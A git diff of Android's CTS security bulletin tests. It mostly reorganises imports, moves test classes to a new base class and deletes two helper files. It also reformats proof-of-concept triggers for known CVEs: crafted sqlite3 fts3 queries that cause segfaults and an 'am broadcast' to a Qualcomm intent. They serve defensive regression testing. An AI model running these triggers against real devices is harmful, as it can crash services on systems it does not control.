-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_06 extends SecurityTestCase {
+public class Poc17_06 extends NonRootSecurityTestCase {
/**
* b/36392138
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index f9309e5..52b40a6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_07 extends SecurityTestCase {
+public class Poc17_07 extends NonRootSecurityTestCase {
/**
* b/35443725
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index dbb50bd..fdbc11f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_09 extends SecurityTestCase {
+public class Poc17_09 extends NonRootSecurityTestCase {
/**
* b/63852675
@@ -32,31 +35,39 @@
@Test
@AsbSecurityTest(cveBugId = 63852675)
public void testPocCve_2017_6983() throws Exception {
- // Error code of 139 represents segmentation fault
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT optimize(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT snippet(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT offsets(b) FROM a;\""
- , getDevice()
- )==139);
- assertFalse("Segfault found",
- AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
- + "INSERT INTO a values(x'efbeaddeefbeadde');"
- + "SELECT matchinfo(b) FROM a;\""
- , getDevice()
- )==139);
+ // Error code of 139 represents segmentation fault
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT optimize(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT snippet(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT offsets(b) FROM a;\"",
+ getDevice())
+ == 139);
+ assertFalse(
+ "Segfault found",
+ AdbUtils.runCommandGetExitCode(
+ "sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);"
+ + "INSERT INTO a values(x'efbeaddeefbeadde');"
+ + "SELECT matchinfo(b) FROM a;\"",
+ getDevice())
+ == 139);
}
/**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 1686561..4d406b7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_11 extends SecurityTestCase {
+public class Poc17_11 extends NonRootSecurityTestCase {
/**
* b/36075131
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 160ec27..f63f34f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc17_12 extends SecurityTestCase {
+public class Poc17_12 extends NonRootSecurityTestCase {
/**
* b/38045794
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1730fef..b27efff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_02 extends SecurityTestCase {
+public class Poc18_02 extends NonRootSecurityTestCase {
/**
* b/68953950
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 0899f28..f7a9519 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_03 extends SecurityTestCase {
+public class Poc18_03 extends NonRootSecurityTestCase {
/**
* b/71389378
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index 17ada80..7a4fd54 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_04 extends SecurityTestCase {
+public class Poc18_04 extends NonRootSecurityTestCase {
/**
* b/69683251
* Does not require root but must be a hostside test to avoid
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
index 320f997..9b1830d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_05 extends SecurityTestCase {
+public class Poc18_05 extends NonRootSecurityTestCase {
/**
* b/70721937
* Does not require root but must be a hostside test to avoid a race
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 63cdf56..236865e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_06 extends SecurityTestCase {
+public class Poc18_06 extends NonRootSecurityTestCase {
/**
* CVE-2018-5884
@@ -35,9 +38,11 @@
String wfd_service = AdbUtils.runCommandLine(
"pm list package com.qualcomm.wfd.service", getDevice());
if (wfd_service.contains("com.qualcomm.wfd.service")) {
- String result = AdbUtils.runCommandLine(
- "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
- getDevice());
+ String result =
+ AdbUtils.runCommandLine(
+ "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei"
+ + " format 3 --ei value 32",
+ getDevice());
assertNotMatchesMultiLine("Broadcast completed", result);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 1147658..ce3ee4d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_07 extends SecurityTestCase {
+public class Poc18_07 extends NonRootSecurityTestCase {
/**
* b/76221123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index a8b9050..3e0cc2d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_10 extends SecurityTestCase {
+public class Poc18_10 extends NonRootSecurityTestCase {
/**
* b/111641492
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index e6ca50b..8f00629 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc18_11 extends SecurityTestCase {
+public class Poc18_11 extends NonRootSecurityTestCase {
/**
* b/113027383
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 1e56873..dab2066 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_03 extends SecurityTestCase {
+public class Poc19_03 extends NonRootSecurityTestCase {
/**
* b/115739809
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index a22fc97..f9f8b7c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_05 extends SecurityTestCase {
+public class Poc19_05 extends NonRootSecurityTestCase {
/**
* CVE-2019-2257
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
index 71cb84d..791b8b4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc19_07 extends SecurityTestCase {
+public class Poc19_07 extends NonRootSecurityTestCase {
/**
* Bug-137878930
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
index 5a8f4d7..b029aa6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -1,14 +1,17 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_01 extends SecurityTestCase {
+public class Poc20_01 extends NonRootSecurityTestCase {
/**
* CVE-2019-14002
*/
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
index 5b9bb22..72e7b96 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_03 extends SecurityTestCase {
+public class Poc20_03 extends NonRootSecurityTestCase {
/**
* b/147882143
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 6ed83c1..3f2d1d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -16,15 +16,18 @@
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
import static org.junit.Assert.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_06 extends SecurityTestCase {
+public class Poc20_06 extends NonRootSecurityTestCase {
/**
* CVE-2020-3635
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
index bd2a761..86c1a1f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -16,16 +16,18 @@
package android.security.cts;
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc20_11 extends SecurityTestCase {
+public class Poc20_11 extends NonRootSecurityTestCase {
/**
* b/162741784
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
index e555700..ccff621 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -17,15 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Poc21_01 extends SecurityTestCase {
+public class Poc21_01 extends NonRootSecurityTestCase {
/**
* b/168211968
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
deleted file mode 100644
index 07f45db..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.Set;
-import java.io.File;
-import java.io.FileNotFoundException;
-
-import org.junit.runner.Description;
-import org.junit.rules.TestWatcher;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.IAbi;
-
-import static org.junit.Assume.*;
-import static org.junit.Assert.*;
-
-public class PocPusher extends TestWatcher {
- private ITestDevice device = null;
- private CompatibilityBuildHelper buildHelper = null;
- private IAbi abi = null;
-
- private Set<String> filesToCleanup = new HashSet();
- public boolean bitness32 = true;
- public boolean bitness64 = true;
- public boolean appendBitness = true;
- public boolean cleanup = true;
-
- @Override
- protected void starting(Description d) {
- bothBitness();
- appendBitness = true;
- cleanup = true;
- }
-
- @Override
- protected void finished(Description d) {
- for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
- String file = it.next();
- try {
- CLog.i("Cleaning up %s", file);
- device.deleteFile(file);
- } catch (DeviceNotAvailableException e) {
- CLog.e("Device unavailable when cleaning up %s", file);
- continue; // try to remove next time
- }
- it.remove();
- }
- }
-
- public PocPusher setDevice(ITestDevice device) {
- this.device = device;
- return this;
- }
-
- public PocPusher setAbi(IAbi abi) {
- this.abi = abi;
- return this;
- }
-
- public PocPusher setBuild(IBuildInfo buildInfo) {
- buildHelper = new CompatibilityBuildHelper(buildInfo);
- return this;
- }
-
- public PocPusher appendBitness(boolean append) {
- this.appendBitness = append;
- return this;
- }
-
- public PocPusher cleanup(boolean cleanup) {
- this.cleanup = cleanup;
- return this;
- }
-
- public PocPusher only32() {
- bitness32 = true;
- bitness64 = false;
- return this;
- }
-
- public PocPusher only64() {
- bitness32 = false;
- bitness64 = true;
- return this;
- }
-
- public PocPusher bothBitness() {
- bitness32 = true;
- bitness64 = true;
- return this;
- }
-
- public void pushFile(String testFile, String remoteFile)
- throws FileNotFoundException, DeviceNotAvailableException {
- if (appendBitness) {
- // if neither 32 or 64, nothing would ever be pushed.
- assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
-
- String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
-
- // 32-bit doesn't have a 64-bit compatibility layer; skipping.
- assumeFalse(bitness.equals("32") && !bitness32);
-
- // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
- if (bitness.equals("64") && !bitness64) {
- bitness = "32";
- CLog.i("Pushing a 32-bit file onto a 64-bit device.");
- }
- testFile += bitness;
- }
- CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
- File localFile = buildHelper.getTestFile(testFile);
- device.pushFile(localFile, remoteFile);
- if (cleanup) {
- filesToCleanup.add(remoteFile);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
deleted file mode 100644
index 9ce7e39..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import java.util.concurrent.TimeoutException;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import static org.junit.Assert.*;
-
-public class RegexUtils {
- private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes
- private static final int WARNING_THRESHOLD = 1000; // 1 second
- private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
-
- public static void assertContains(String pattern, String input) throws Exception {
- assertFind(pattern, input, false, false);
- }
-
- public static void assertContainsMultiline(String pattern, String input) throws Exception {
- assertFind(pattern, input, false, true);
- }
-
- public static void assertNotContains(String pattern, String input) throws Exception {
- assertFind(pattern, input, true, false);
- }
-
- public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
- assertFind(pattern, input, true, true);
- }
-
- private static void assertFind(
- String pattern, String input, boolean shouldFind, boolean multiline) {
- // The input string throws an error when used after the timeout
- TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION);
- Matcher matcher = null;
- if (multiline) {
- // DOTALL lets .* match line separators
- // MULTILINE lets ^ and $ match line separators instead of input start and end
- matcher = Pattern.compile(
- pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
- } else {
- matcher = Pattern.compile(pattern).matcher(timedInput);
- }
-
- try {
- long start = System.currentTimeMillis();
- boolean found = matcher.find();
- long duration = System.currentTimeMillis() - start;
-
- if (duration > WARNING_THRESHOLD) {
- // Provide a warning to the test developer that their regex should be optimized.
- CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
- }
-
- if (found && shouldFind) { // failed notContains
- String substring = input.substring(matcher.start(), matcher.end());
- String context = getInputContext(input, matcher.start(), matcher.end(),
- CONTEXT_RANGE, CONTEXT_RANGE);
- fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
- context + "...");
- } else if (!found && !shouldFind) { // failed contains
- fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
- }
- } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
- // regex match has taken longer than the timeout
- // this usually means the input is extremely long or the regex is catastrophic
